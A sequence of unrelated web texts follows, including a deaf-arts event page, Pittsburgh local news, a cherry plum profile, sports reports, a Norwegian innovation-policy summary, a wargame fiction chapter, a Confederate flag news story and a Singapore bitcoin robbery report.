‘The Unheard World’ is designed to challenge everyone in the audience – whether deaf or hearing – by presenting some difficult and emotional topics and expressing them through a range of artforms in a unique performance. Audiovisability gives deaf and hearing artists a platform to explore and express their creativity, whilst also turning conventional understanding of music on its head by focusing on music’s real and interpreted visual nature.
Audiovisability is pushing creative boundaries; not only through the use of multiple artforms and mixing of music and deaf culture, but also through technology. Audiovisabilty’s app, developed by Signly, brings virtual BSL interpretation to each exhibit, giving full access to BSL users in their first or preferred language.
Most of all, I hope that ‘The Unheard World’ will provide a space for people from all walks of life to come together to celebrate music, art, and deaf culture.
The integration of deaf Culture and its language - British Sign Language (BSL) - with the musical world is new to me, as it was to two fellow audience members who themselves were deaf. It seems that British Sign Language, like music, has repetition, rhythm, rhyme, alliteration, and metre. Here the combination proves winning for audiences both deaf and hearing, judging by the final noise of clapping and raising of rotating hands.
- Lauraine Leigh Klugman, review for the Newbury Weekly News.
Audiovisability will take place Wednesday 6 December 2017 at Fabrica, Brighton, 7:00 – 10:30 PM. It is free to attend, but booking is required – click here for tickets.
Audiovisability’s ‘The Unheard World’ is funded by Arts Council England, The Arab British Centre, Decibel’s Year of Sound and the Sobel Foundation.
Banner image: Detail of textile installation by Omeima Mudawi-Rowlings; image c. Ruth Montgomery
Body image (top): BSL storytelling performances by Layla Fitzgerald-Woolfe; image c. Drip Media
Body image (middle): ‘Blossom’ by Omeima Mudawi-Rowlings; image c. Ruth Montgomery
Body image (bottom): Rachel Gadsden painting alongside musicians; image c. Jen Farrant
Updated: 21st March, 2018
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By Margaret L. Smykla Front Page November 3, 2015
Police strategy to focus on population causing the most problems
A policing strategy focused on a small population that causes most of the violence in the city was among at the topics at the Oct. 21 city-wide public safety council meeting. Entitled “Where do we go from here?”, the meeting drew more than 100...
By Tom Smith Front Page November 3, 2015
Hill Top church almost ready to open after fire
August 28, 2014 was a devastating day for the congregation of the Hill Top United Methodist Church on East Warrington Avenue. Around 4:30 p.m. that day, a fire broke out on the roof where workmen...
Public Safety November 3, 2015
Police ask assistance in Allentown burglary
Zone 3 Detectives are requesting the assistance of the public in solving an Allentown burglary investigation. On October 11, Alla Famiglia restaurant, 804 East Warrington Ave., was burglarized. Video footage shows a man in the course of committing...
Real Estate November 3, 2015
Real Estate transactions by RealStats
16th Ward Stephen Mueser trustee to Four Ball LLC at 2939 Arlington Ave. for $77,000. John Stakeley to John Conner LLC at 2623 Burham St. for $50,000. 17th Ward MAPA Real Estate Holdings LLC to City View Development Group LLC at Muriel St. for...
Government November 3, 2015
Upcoming City of Pittsburgh Zoning Board hearings
Pittsburgh’s Zoning Board of Adjustment has scheduled the following public hearings of interest to South Pittsburgh residents in the first floor hearing room of the John P. Robin Civic Building, 200 Ross Street, Downtown. Zone case 253/15 on...
Historic review hearings
The Historic Review Commission of Pittsburgh has scheduled the following hearings in the East Carson Street Historic District for 1 p.m. on Wednesday, Nov. 4, following Internal Business beginning at 12:30 p.m. 74 S.20th Street, John Despines,...
Pizza shop driver robbed at gunpoint in Arlington
Zone 3 officers were called to the area of Waite Street and Weber Way in Arlington for a report of a man who had been robbed at gunpoint on Saturday, Oct. 31 at approximately 10:55 p.m. A 27-year-old male victim identified himself as a delivery...
Suspect arrested in Allentown burglaries
Zone 3 officers and detectives have arrested Laron Bonner, 20, of McLain Street on October 27 in the 800 block of Excelsior Street. A warrant was issued by the Burglary Squad for Bonner’s arrest. He is suspected of committing several burglaries in...
Carnegie man arrested in Arlington shooting
Twenty-year-old Lucas Guggenheimer from Carnegie has been charged in the homicide of Justin Granda, 28, of Mt. Oliver. The Pittsburgh Bureau of Police Violent Crime Unit investigated fatal shooting...
News November 3, 2015
Vietnam Veterans Memorial in So. Side will be rededicated on Sunday, Nov. 8
A rededication ceremony will be held at the South Side Vietnam Veterans’ Memorial at noon on Sunday, Nov. 8. The memorial at 18th and E. Carson streets was first dedicated 20 years ago to the eight South Siders who were killed in the Vietnam War....
Get Stuffed With Love will provide free Thanksgiving dinners
The Pittsburgh Bureau of Police and the Rotary Club of Bethel-St. Clair are gearing up for “Get Stuffed with Love,” an annual community-police effort aimed to brighten Thanksgiving for neighbors across the city. “Get Stuffed with Love...
Mount churches offering free Thanksgiving meals
Grace Church (Anglican) and Redeemer on the Mount (Evangelical Free) will prepare and provide a complete Thanksgiving dinner at 319 West Sycamore Street in Mt. Washington for anyone in the community who would like to join them. The free meal will be...
Phillips K-5 Student of the Mounth
Beltzhoover code blitz coming November 12
A portion of Beltzhoover will be the subject of a code enforcement blitz on Thursday, Nov. 12. The code enforcement blitz will encompass the prevention, detection, investigation and enforcement of violations of statutes or ordinances regulating...
Book sale this week at CLP Carrick
The Carnegie Library of Pittsburgh Friends of the Carrick Branch will hold a three day book sale at the library, 1811 Brownsville Road, from Thursday, Nov. 5 to Saturday, Nov. 7. Hours are Thursday from 10 a.m. to 6:30 p.m. and Friday and Saturday...
Meetings November 3, 2015
Community forum on helping those coming out of jail succeed
A community forum on helping more people coming out of Allegheny County Jail succeed will be held on Monday, Nov. 9, 6:30-8:30 at the Warrington Recreation Center, 329 E. Warrington Avenue. The meeting is sponsored by the Jail Collaborative....
Beltzhoover block watch meets Nov. 18
The last meeting of the year for the Lower Beltzhoover Block Watch will be held on Wednesday, Nov. 18 at 29 Sylvania Ave in the Community Room at 6 p.m. The meeting is not limited to lower Beltzhoover but for everyone. The agenda includes...
Kids November 3, 2015
After school program now registering
The Voices Against Violence After School Program starts November 2 and will run Monday through Friday 3 p.m. to 8 p.m. at McKinley Park Shelter House, 900 Delmont Avenue. The program is for children in grades 2 through 8. Services offered will...
Great Pumpkin Smash at the Carnegie Science Ctr.
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Spaghetti dinner will benefit Holy Assumption of St. Mary
Holy Assumption of St. Mary Orthodox Church, 105 S. 19th St, Pittsburgh PA, 15203, will host the annual Stephen Kiselica Memorial Spaghetti and Meatball Dinner on Saturday. Nov. 7 from 11 a.m. to 6 p.m. The Spaghetti Dinner is open to the public....
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Cherry Plums
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Cherry plums are a small variety, approximately the diameter of a quarter, and are nearly perfectly round with a slight groove near the fruit's stem end. The skin is paper thin and flushed with cherry tones and peach speckles and hues. The interior is golden amber and dotted with pinkish burgundy hues near the skin, and a small central pit that clings gently to the flesh. Its soft texture has a juicy consistency with bold and bright flavors. At first bite, the Cherry plum is sweet and spicy and then it finishes with a perfect kiss of tart to balance the sub acid sweetness.
Cherry plums are available in the summer.
Cherry plums, botanical name Prunus cerasifera, are a stone fruit and member of the Rosaceae family. There are dozens of Cherry plum cultivars chosen for their fruit whereas many Cherry plum trees are often grown for ornamental purposes. Such varieties are selected for their bold purple foliage and fragrant and attractive spring blossoms. All Cherry plum trees produce edible fruit, though they are classified as a cooking cultivar. The most common commercial varieties of Cherry plums are Thundercloud and Newport.
Cherry plums are a good source of potassium, calcium, phosphate, vitamin C and B complex vitamins which have a great importance to the process of metabolism and nervous system health.
While Cherry plums may be eaten fresh, they are considered a benchmark cooking plum, most often prepared as a sweet preserve, peppery chutney or even a sort of plum fruit leather. The fruits are crushed and cleaned of seeds to be rolled out into a sheet of dried fruit pulp. Cherry plums are also good in baked applications such as pies, cakes and crumbles. Complimentary pairings include other stone fruits such as peaches, apricots and almonds, berries, vanilla, cream, ginger, cardamom, nutmeg, cinnamon, chocolate and yogurt. Store ripe Cherry plums in the crisper for up to one week.
Cherry plum trees thrive in the Middle East where they are often harvested while the fruit is still underripe, hard and green. At this stage they are known as Persian Sour plums, or Gojeh Sabz in Farsi. The tart green fruits are enjoyed as a snack simply dipped in salt.
The Cherry plum is native to Eurasia, specifically the mountainous areas of Iran in Karaj and the western part of Tehran. It is said to be a direct parent of the European plum, P. domestica. The trees are deciduous, cold hardy and drought tolerant. They are however prone to disease and pests. Trees grow rapidly and their life span short lived, 20 years. Trees can be propagated by seed or grafting. Cherry plum trees are often used as rootstock for other plum cultivars, especially European varieties.
Recipes that include Cherry Plums. One is easiest, three is harder.
Norfolk Kitchen Cherry Plum Cordial
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Sublime Serena Beats World Number 1 Halep, Storming Aussie Open Quarters
Jan 21 - by AFP for SportPesa News
The 37-year-old American beat the Romanian world number one 6-1, 4-6, 6-4 to set up a last eight clash with Czech eighth seed Karolina Pliskova
Serena Williams of the United States reacts in her fourth round match against Simona Halep of Romania during day eight of the 2019 Australian Open at Melbourne Park on January 21, 2019 in Melbourne, Australia. PHOTO/GettyImages
Serena Williams ground down top seed Simona Halep in an epic three-setter to take her quest for a record-equalling 24th major into the Australian Open quarter-finals on Monday
MELBOURNE, Australia- Serena Williams ground down top seed Simona Halep in an epic three-setter to take her quest for a record-equalling 24th major into the Australian Open quarter-finals on Monday.
The 37-year-old American beat the Romanian world number one 6-1, 4-6, 6-4 to set up a last eight clash with Czech eighth seed Karolina Pliskova.
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Establishments, enterprises and accounts >
Evaluation of R&D- and innovation-supporting policies
Establishments, enterprises and accounts;Technology and innovation
Research and innovation in business enterprise sector , Establishments and enterprises , Establishments, enterprises and accounts, Technology and innovation
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In this report we study the effects of government financing policies aimed at promoting value creation and innovation. Our analysis includes the tax incentive scheme, Skattefunn (SKF), innovation-oriented policy of Innovation Norway (IN) and instruments of the Research Council of Norway (RCN), as well as export supporting programs by the Norwegian Export Credit Guarantee Agency (GIEK) and Export Credit Norway.
IN is a government agency that aims to promote firm growth through innovation programs, regional support and other industrial policies. In our analysis we focus only on IN’s innovation programs. RCN finances research and development (R&D) both in universities and institutes and in private firms. Our analysis comprises only the policy instruments oriented towards the private sector or joint projects between private firms and research institutions. SKF is a general tax incentive scheme provided in the tax legislation.
We compare profitability and growth in sales, value added, employment and productivity in firms that received support from IN, RCN or SKF during the period 2001-2013 with a control group of firms that did not receive such support. Further, we calculate the return on R&D investments for firms, which receive government support, and compare it with the return on R&D for firms without any public R&D-support. We also investigate the impact of government support on the propensity to patent, and the effect of export guarantees and export credit on export.
We find positive effects for IN, RCN and SKF on one or several indicators of growth in value creation, sales income or number of employees, and the effects become stronger as the amount of support increases. However, our findings do not necessarily reflect a causal relationship. Even if we control for some sources of bias it is not possible to control for every unobservable factor that simultaneously may affect both the probability of receiving support and the outcome variables. We find the most significant effects for the group of projects which receive government support above 1.5 million NOK. We find weak or no effects for support allocations below 500 000 NOK. Neither do we find positive effects on return to total assets or productivity for firms receiving support compared with the control group.
The return on R&D investment in firms receiving government support is lower than the return on R&D that is entirely privately financed. This is consistent with the fact that government support is channelled to projects believed to have positive effects beyond the purely commercial. The results show that both tax deductions (SKF) and direct subsidies from RCN and IN lead to more patents in Norwegian firms.
We find positive effects of export financing on Norwegian export. The results indicate that export financing contributes to growth in value creation in the business sectors that use government support schemes intensively.
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You Are Here : Home / City of Swan celebrates NAIDOC Week
City of Swan celebrates NAIDOC Week
The City of Swan is proud to support this year's line-up of local NAIDOC week celebrations and events.
NAIDOC Week celebrates the history, culture and achievements of Aboriginal and Torres Strait Islander peoples.
City of Swan Mayor David Lucas said NAIDOC week is an opportunity to participate in a range of activities and support our local Aboriginal and Torres Strait Islander community.
"Our City has a strong Aboriginal heritage and culture, and we are proud to have this ongoing connection," he said.
"The local Aboriginal people and custodians of the land are Whadjuk Noongar people, who have long since inhabited the historic lands of the Swan coastal plain, dating back some 40,000 years."
This year's theme is, Voice. Treaty. Truth. Let's work together for a shared future, which acknowledges that Aboriginal and Torres Strait Islander peoples have always wanted an enhanced role in decision-making in Australia’s democracy.
"I would encourage everyone to visit www.noongarculture.org.au to learn a few local Noongar words like Kaya (hello) Wandjoo (welcome) so we can actively participate in this year's theme," said Mayor Lucas.
The City is supporting four local community events:
School Basketball Carnival
Thursday, July 4 at Swan Active Midland, Gray Drive, Midvale
Cheer on the competing teams from local primary schools
Come along for cultural workshops, activities and performances.
Tuesday, July 9, 10am-2.30pm at Midland Oval - The Crescent, Midland
Features live music, dance performances, free bush tucker, healthy food options and children's activities and entertainment.
Beechboro
Tuesday, July 2, 11am-1pm at Meerilinga Beechboro, 106 Amazon Drive
Come and enjoy traditional dance performed by students from Kiara College Girls Academy and West Beechboro Primary School. Tucker and refreshments are on offer, and join in other fun activities with your friends and family.
Please RSVP to Mihi at Meerilinga on 9377 7922 or email Mihi.Betham@meerilinga.org.au or beechboro@meerilinga.org.au
Ballajura
Wednesday, July 10 in two locations:
11am-12pm Meerilinga Ballajura, 2 Community Mews, Ballajura
12-1pm at The Dungeon Youth Centre, 1 Kingfisher Drive, Ballajura
Come and enjoy the Welcome to Country, tucker and refreshments and join in other fun activities with your friends and family.
Please RSVP to Kim at Meerilinga on 9249 6980 or email Kim.Hayley@meerilinga.org.au or ballajura@meerilinga.org.au
For more information about these events, please go to www.swan.wa.gov.au/events
Photo: Midland local artist Mama Jo (Bungaan) created this incredible painting for this year’s NAIDOC Midland. Finding her calling as a painter in her mid-20’s, she has been painting for over 28 years. “This painting represents a long history of aboriginal culture here in the Swan region,” Mama Jo said. “The Swan River runs through the middle of the painting and is significant to the Whadjuk people as it was a source for food, medicine and birthing grounds.
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Gautam Shenoy of Steinberg Hart discusses contracts that lead to success
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Yogi Berra once said, “If you don’t know where you’re going, you’ll end up someplace else.” This is particularly true in building design, because if what you’re designing isn’t perfectly communicated to builders, then you might find yourself at the right address but the wrong building. And, once construction begins, revisions cost much more money than communicating the design to begin with.
Starting with CAD/AutoCAD, and into contemporary BIM 2D/3D platforms and VR, the methods of collaborating over blueprints are increasingly detailed and accessible. These technical methods are changing project planning and cost management, but there are competing solutions with their own advantages and disadvantages, and contractual challenges to getting designers, owners and builders together on a single PDF platform or digital environment. These challenges led Gautam Shenoy, a BIM-VDC director at Steinberg Hart, to develop a comprehensive breakdown of the project delivery options and their respective steps, which he turned into his presentation “Improving Project Coordination: Leveraging PDFs for 2D/3D Data.” Shenoy’s presentation was originally inspired by his accreditation studies at the Design-Build Institute of America (DBIA) and was featured at the Bluebeam Extreme Conference last August in Austin, Texas.
Shenoy’s thesis is simple; designers, owners and builders should discuss the project delivery options, and from that discussion select the formats for data content and the platforms they’ll use for the data. Shenoy and all the designers at Steinberg Hart use Bluebeam Revu and Bluebeam Studio, but it’s less important that designers and builders use any particular PDF-sharing platform than it is that they use the same PDF platform for the fastest, safest sharing of information. As an example of this, Shenoy and designers at Steinberg Hart used Bluebeam Revu and Studio with Suffolk Construction on the San Jose Miro Towers, where collaborating in the Studio environment was key to project success.
The PDF kickoff that Shenoy suggests tracks the deliverables from various design platforms via Revu (Design) into coordination, 3D, then into Studio (Integration) for sketches, progress, design and construction documents and, finally, site inspection lists. Each step has a clear beginning and end and each step builds on the previous effort. The integration steps are most important, in which the PDFs created by designers are shared and adjusted with owners and builders. Builders in turn share with their subcontractors as appropriate. The main idea, Shenoy told us, is to track where PDF communication starts and where should it peak, with regards to the individual players and their roles in the design and build. Typically, that peak is in the PDFs for Studio, where all parties are reviewing the designs, finalising schedules and budgets and preparing subcontractors.
File format clarity, interoperability and document management are all increasingly important as digital files can be quickly duplicated, altered and shared. Shenoy lays out a simple guide for PDF communication, depending on the delivery methods and relationships set out by the project contracts. For example, a traditional design-bid-build model with a lump sum contract simply has fewer communication points between designers and builders, and so, there’s fewer points of PDF integration between parties. It might seem like a low bid RFP by owners will result in the most cost-effective design-build, but this also limits the opportunity for collaboration between designers and builders, which can result in novel and unexpected efficiencies in building costs. On the other hand, a design-build project delivery offers an extended collaboration period between designers, builders and owners, but this requires more careful planning and integration to make the digital collaboration successful. The method of project delivery should inform the application of PDFs or any digital files within a chosen platform, which will help make sure design criteria is met and detailed budgets and schedules are completed before building begins.
Since Adobe made PDF an open format code in 2008, it has become the standard file and the digital life blood of the AEC industries; the idea of quitting PDFs would be considered ridiculous and, more importantly, expensive. Yet, companies aren’t necessarily squeezing the most value out of the ubiquitous file format if they’re simply using PDFs as a digital stand-in for the old model of sharing blueprints. PDFs aren’t traditional blueprints, and PDF-based platforms like Bluebeam Revu and Bluebeam Studio have features and capabilities that can save owners money and builders’ time. But, if you ask Shenoy, the future of building isn’t simply more digital or technical; it’s more integrated. Learn more from the Design-Build Institute of America at DBIA.org.
Learn more about the tips mentioned in the video with our e-book, “Collaboration for Better Building.”
Author: AliciaM
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August 06, 2013 News & Features » Street Talk
Giant Confederate Flag to Welcome Visitors to Richmond
By Ned Oliver @nedoliver
Last year, hundreds of Confederate sympathizers descended on the Robert E. Lee statue Saturday afternoon, bemoaning Lincoln and the Northern “invasion” of the South.
The director of the NAACP in Virginia isn’t remotely surprised by plans to fly a giant Confederate flag just off of Interstate 95 in Richmond. “We’re in the Capitol of the Confederacy,” King Salim Khalfani says. “The Civil War never ended for them."
That’s not to say Khalfani doesn’t have thoughts about the impression a 15-foot-wide Confederate battle flag might leave with tourists and visitors passing through Richmond.
“There goes the rebranding -- with ‘RVA’ and all that stuff,” he says. “Anybody in the city that has any consciousness should be appalled that that’s going to be one of the symbols introducing people to Richmond.
“I know, at least for people of African descent, if they see it and they’re not from here, they’ll be like, ‘Damn, what kind of yokel joint is this?’”
Indeed, the national political magazine Mother Jones broke the news earlier today that a group called Virginia Flaggers intends to install the road-side flag by Sept. 28. The tone of the article isn't exactly flattering to Richmond.
But Susan Hathaway, the spokeswoman for the flaggers, says the plan is only meant to honor southerners, not denigrate them.
“The flag will serve to welcome visitors and commuters to Richmond, and remind them of our honorable Confederate history and heritage,” she says, in an announcement posted Saturday on an obscure conservative blog.
The flag will fly on the interstate just south of the city. In an interview with Style, she declines to give the exact location, saying she’s worried about possible threats and vandalism.
The total cost -- she says they got a really good deal on the flag pole -- comes to around $3,000.
Does Hathaway view her group’s plans as they will be widely interpreted -- a deliberately provocative gesture?
“Absolutely not,” she says in an interview with Style. “We’re putting this up for one reason and one reason only -- as a memorial. It’s not a stick in anybody’s eye. There are lots of place we could put it if we wanted to intentionally stir up trouble.”
She says Khalfani and others are attaching the wrong meaning to the flag, arguing historical facts when asked how a flag flown by a group of people fighting -- at least in part -- to preserve the institution of slavery could represent anything other than oppression to black residents. And she points out that slavery was a legal practice in the United States for years, but that no one argues the U.S. flag is a symbol of hate.
“I think that society has allowed us to become almost ashamed to our heritage because of the mistruths that are taught,” she says. “Some people want to put a stigma on one flag and rather than stand up and say this flag is my great, great grandfather’s flag.”
This wouldn’t be the first Confederate to fly near an interstate in the South. Until recently a 30 by 60 foot version of the stars and bars flew off I-75 in Tampa, Fla. It was hugely controversial and later was replaced with a slightly smaller flag, though only because the original wore out.
There are others, Hathaway says. And the practice is what inspired her group to pursue the tactic in Richmond.
Meanwhile, Khalfani of the NAACP says the whole thing is an embarrassment, and an affront to what Richmond is becoming. The prospect of a giant Confederate flag welcoming visitors to Richmond fills him with sarcasm. “That’s going to attract a lot of people,” he says. “Yeah. Great.”
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Griquas sent back to the drawing board
The Free State Cheetahs taught Griquas a rugby lesson on Saturday when they handed the former log leaders a 58-13 thumping in their Currie Cup clash in Kimberley.
The home side dominated territory and possession for the first 20 minutes before the Cheetahs ran rampant, climbing one place to fifth on the log. Griquas captain, Jonathan Mokuena was very disappointed and said it will be back to the drawing board for his team.
“We did not play very well, but the Cheetahs did the job and played good rugby, outclassing us in all facets of the game,” said the disappointed captain.
Free State Cheetahs captain, Adriaan Strauss, said it is always nice to win in Kimberley as they know that Griquas are always difficult to beat on their home ground. “I am very pleased with my players as they showed character and they played very well.”
Dawie Theron, Griqua’s coach was also very disappointed, citing that his players had not quite recovered from the Bulls match.
“Today the wheels just fell off. “I thought we had a good chance in the first 20 minutes of the match but then that’s when the wheels started to come off. The game plan was not stuck to, and it will be very difficult to re-focus, but the guys will bounce back,” said Theron.
Cheetahs coach, Naka Drotske, said he was extremely happy with the way his team performed. “We stuck to the basics and to our game plan, however, our lineouts in the beginning were not at all good, but they improved as the game progressed.”
Drotske said he was proud of his players as they keep improving with every game and are starting to regain their confidence after their early losses in the Currie Cup.
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The Bears gambit: Intermission 2
Hello everybody, as promised then here is the Intermission between Scenario 2 and Scenario 3, as well as the AAR. Next scenario in this Campaign will be held on Sunday the 18´th of february at the usual time of 2000 GMT+1, so 1900 GMT As usually then I recommend reading the PDF This is the Game list: http://www.kanium.org/forum/viewtopic.php?p=11630&sid=9cb0393903efbeca6e39dd3254570c7d#p11630 And the PDF: BG Intermission 2.pdf And the AAR: Scenario 2 Operation Cautious Tightrope.aar And the Video: The Bears Gambit ” molṑn labé.” Leonidas I of Sparta Intermission 2 By Nike-Ajax, All Rights reserved Somewhere in Europe, in an editorial meeting within a major government owned public broadcasting company. The men and women looked across the big table at each other. The mood was intense and there had in fact been shouting until the Chief Editor had raised her voice and called the meeting to order. There were basically two groups that had opposing views, with a small group either hedging their bets or just cautiously choosing not to express their views in the middle. The majority group viewed the events in Lithuania as a huge and unmitigated disaster, a failure not only of diplomacy in general but of what some referred to as the “self-governing and autonomous war machine of JEF” in particular. The other and minority group viewed this somewhat differently, but not the opposite, and thus expressed the view that JEF and the Lithuanian Authorities, had in fact showed some restraint in an impossible situation. They all agreed however that military solution simply was not the way to solve anything, and therefore no solution at all. The Editor-in-chief raised his hand and voice: “Colleagues and friends” He had been informed that he was no longer allowed to say ladies and gentlemen, because this was considered politically incorrect, as it held people in obsolete gender roles. “We have a story to make and a reality to interpret. We need to be in agreement and find a common viewpoint here. I think we can all agree that no one is a winner when weapons are used” He looked around to watch the nodding heads before he continued. “So our job here is not only to show the viewers the horrors of what modern warfare does, but also of the cost to our young people. And why we need a political solution before this gets even worse than it already is, and before the soldiers are led into a situation where more of them are needlessly killed. Now we need to present this fact in an objective and neutral way, so all our viewers will see the facts for what they are: Proof that we need to be flexible and find common ground with those who view things differently than ourselves, because after all: the Russians want what we want: peace at all costs. We need to show leadership and pave the way for dialogue and peace. Now does anyone disagree with that?” If anyone disagreed – which the Editor doubted – then no one wanted or dared to speak up. This was probably for the best thought the editor, because who could really disagree with the fact that violent and military action was by definition a waste of money or worse? And so the editorial meeting spun into high gear with the news that would be broadcasted on the next Breaking News as well as in all the scheduled news bulletins. 5,56 mm or 5,45 mm and 14,5 mm or 12,7 mm? That has been part of the discussion in both political circles, as well as in both Russian and Western press. Specifically, then this has become an irrational but somewhat relevant question, because both sides claimed that the other fired first and thus showed Casus Belli, in what has by some become termed The First Clash. In other words: was it a Russian or JEF bullet that started the sharp escalation of hostilities on the ground in southwestern Lithuania. The Baltic States in general and Lithuania in particular are clear and vocal about their interpretation: Russia without any international legality chose to cross the Russian/Lithuanian border and engaged allied troops in open combat. Thus their position is that Russia de Facto has declared war on not just Lithuania, but in fact against NATO, the members of JEF as well as indirectly against EU. In line with this they are openly debating about formally activating Article V of the NATO charter. Also the Baltic nations have now activated whatever military forces that was not already on a war footing. Moreover they have begun activating voluntary militia groups and arming them with whatever is at hand including civilian and old surplus weapons in storage. The Baltic Nations position is, at least in part, supported by most of the East European nations as well as the member states of JEF and USA. Although these nations have raised their voices in support, in a more subdued and politically less belligerent way, then their support is firm. Some of the facts which most agree on are this: On the day of the clash between Russian and JEF forces, a lot of people lost their life and numerous vehicles were destroyed. It seems that around 30 Russian vehicles were destroyed and in excess of 100 soldiers, and with maybe as many as 150, were killed and wound whereas the JEF lost 14 vehicles and had 32 dead and wounded. These are staggering losses for the western nations, and far exceeds the already high casualties from the previous Operation in Lithuania, thus bringing the total up to 59 dead and wounded – in a country that is not officially at war, and in a mission that was not supposed to see combat. “It was too soon. Our units acted without the proper orders, out of sync and without the proper support. THAT is why I ordered them to stop and not deploy any of the reserves. When you strike, you strike to kill and not to annoy your opponent. And yet fortunately for us and our Motherland, then as God seems to have smiled upon us, we stand ready to carry out the next step. But we will have to work fast to use the chaos and confusion that our actions have sown.” The Russian Colonel-General looked at his subordinates who looked him squarely in the eyes, while they accepted his words. He could see it in their eyes: Determination and honour in serving their country. But he could also see realism, pragmatism and resignation in accepting his words. Mentally he nodded: his Motherland had indeed come far in the last years. Even though the operation had been started preliminarily and before it was planned to execute as well as without the planned support, then it still had managed to achieve much of what was planned. After all, he thought to himself, who in their right mind would not want Victory at all costs. The time for talks and peace were obviously over. Or rather: it was for them and their opponents on the ground. Because in line with their plan then Moscow still tried to pursue each and every diplomatic route, so as to formally leave no box unchecked: let it not be said that Russia didn’t try to work for peace. The Maskirovka was still running and it seemed that very few if any of the influential people in the west would even allow themselves for a minute to think that they were basically wrong: That all the words and ideas, of a self-appointed and self-inflated small but very vocal minority, were useless, worthless and unable to cope with reality. He allowed himself a brief smile: The useful Idiots of the 21´st century, was the fools who by trying to manipulate others and shape their minds into a politically correct, pacifist, unpatriotic and unnationalistic, did nothing except to divide their nations deeply and basically down the middle. And they did it without even being paid. Well … most of them did anyway. He clenched his teeth and focused at the tasks at hand: By sheer luck and the political and therefore military inaction of the west, then they had basically achieved most of their initial goals. But the timing had been off. The operation was meant to have waited for some shaping operations as part of the Hybrid war. Specifically then it was meant that the next week should have seen a number of operations of Lithuanian ground as well as initial operations in the other Baltic Nations and with the support of concerted cyber-attacks on a number of European targets. His troops were only meant to have made their presence know at the border, and threaten the Lithuanians and the meddling fools of NATO and now JEF. Well … despite some losses then they now had their excuse: Moscow would see to that. He had talked to the President earlier, who had been surprisingly calm and understanding. But he also made it clear that the Colonel-General and each and every one of his officers were charged with the burden of executing their plans successfully now. There were no threats made, because none were needed. They all knew and understood what was at stake. Or at least they would soon. “Shift and reposition our forces, coordinate with the battalion leaders, set all of our units to war alert and stance including activating the reserves and prepare everything for plan Priyome-1. Do your duty to me, the Rodina and yourselves without error or hesitation. Execute.” Then men came to attention as one and saluted, before they did an about-face and filed out . At the border things had become deceptively calm: The Russian units which were badly mauled were in fact only the tip of the spear, and after the initial fighting had pulled back to the area around the border. But not all the way back. And in the meantime they had been significantly reinforced. While they did not push east from Kaliningrad, then they did shoot down two UAV´s sent to investigate immediately and accurately. The CO of the JEF forces in the area, Colonel Karl Sexton, being unusually agitated and nervous – even for him – initially halted the progress of TF-48 and denied them the right to pursue the Retreating Russians. However after being subjected to political pressure then he reversed his earlier orders and demanded a close inspection of the border with whatever units was there. In fact he demanded that they push all the way up to border, to make a political show of force. The CO of TF-48 had patiently tried to explain that such an action would mean full-on battle with the now entrenched and reinforced Russian units. To which Colonel Sexton had begun screaming incoherently and loudly. Until the CO of TF-48 had calmly hung up. The remains of TF-48 have now pulled back and have handed over the AO to TF-32 which has rebuilt and reinforced since their execution of Operation Red Route 1. An uneasy calm has settled on and near the border, disturbed by the sound of many Russian vehicles moving in the area. But as opposed to the politicians and others who are desperately working on political solution, then everyone on the ground knows that this is indeed the calm before the storm. And that they are in fact in a rather small boat navigating the waves.
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Sterling Ethos
A 45-Card Astrology Deck
By Ruby Warrington (Author), Bess Matassa (Author)
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by Ruby Warrington, Bess Matassa
Master the language of astrology with this 45-card deck by Ruby Warrington, a popular spirituality writer and founder of The Numinous.
Becoming fluent in the language of astrology can be a life’s work, and The Numinous Astro Deck is a colorful, user-friendly tool for every student. It’s comprised of 45 cards (12 signs, 12 houses, 14 planets, 7 aspects), and each one provides an overview of the traits associated with its sign, house, planet, and more, along with a custom illustration that brings the teachings to life. A companion book features popular spiritual speaker and author Ruby Warrington, founder of The Numinous, explaining how to use the cards to interpret birth charts and as an oracle deck for divination.
About The Numinous:
Launched in 2013 by founder Ruby Warrington, The Numinous is the premier destination for all things “Now Age,” covering everything esoteric with a chic, modern twist. Astrology is at the core of the platform’s digital offering and offline events.
Ruby Warrington is a British journalist, editor, and author currently living in Brooklyn, NY. A lifelong student of astrology, she is resident Style Goddess for horoscope.com, has hosted astro-themed workshops and events for the likes of Standard Hotels and Free People, and is also the cofounder of Moon Club, an online spiritual mentoring program for women. Ruby’s first book, Material Girl, Mystical World: The Now Age Guide to a High Vibe Life, was published in May 2017 by HarperElixir.
Bess Matassa is a New York-based astrologer, tarot reader, and writer. After completing a PhD, she went rogue and started bringing heaven to earth through customized cosmic offerings ranging from birth chart walking tours, to zodiac perfume making classes and tarot dance parties. She currently serves as resident astro babe for The Numinous and Apartment Therapy, and has been a cosmic consultant for brands and platforms including Teen Vogue, PureWow, and Almay Cosmetics. Bess serves up self-inquiry with a side of play, poetry, and pop music, harnessing the language of the cosmos to bring us deeper into the vivid world that already surrounds us, and the luscious, lovable selves we already are.
Pages: 96 pages, 2-color book + 45 full-color cards
Trim: 6 x 8.25 Inches
Category: Body/Mind/Spirit / Tarot
Publisher: Sterling Ethos
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Malaysian robbed of $365,000 in cash when he met bogus bitcoin seller and broker
Commander of Central Police Division, Assistant Commissioner Arthur Law (left), 48, with Inspector Ang Wee Kiat, 38. Mr Law said it is not common for people to perform bitcoin transactions in person, and with such large amounts of cash.ST PHOTO: KELVIN CHNG
Apr 12, 2018, 11:45 am SGT
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Esther Koh
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Shaffiq Idris Alkhatib
SINGAPORE - A Malaysian man who arranged to meet a prospective bitcoin seller to buy the digital currency was robbed of $365,000 in cash instead.
Mr Pang Joon Hau, who is believed to be in his 20s, had come to Singapore to purchase bitcoins and contacted a Singaporean broker.
On Sunday (April 8), Mr Pang and his broker met a man who claimed to have bitcoins to sell and another who passed himself off as a broker, at Hotel 81 in Middle Road, where Mr Pang was staying.
After ascertaining that Mr Pang had the amount both parties had agreed upon, the two men assaulted the Malaysian and his broker and made away with the cash, the police said at a press conference on Thursday.
Two 36-year-old men were later arrested and charged with robbery with hurt. One of them, Mohd Abdul Rahman Mohamad, was on the run when he allegedly robbed Mr Pang.
Commander of Central Police Division, Assistant Commissioner Arthur Law, told reporters on Thursday that it is not common for people to perform bitcoin transactions in person, and with such large amounts of cash.
A police spokesman added that the police are investigating the origins of Mr Pang’s money, which he carried in cash.
Mohd Abdul Rahman Mohamad's former wife Yogeshwry Raman, 33, has also been charged with dishonestly receiving stolen goods, including a Rolex watch worth $45,800.
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Mr Pang Joon Hau had come to Singapore to purchase bitcoins and contacted a Singaporean broker to buy the digital currency but was robbed of $365,000 in cash instead. ST PHOTO: KELVIN CHNG
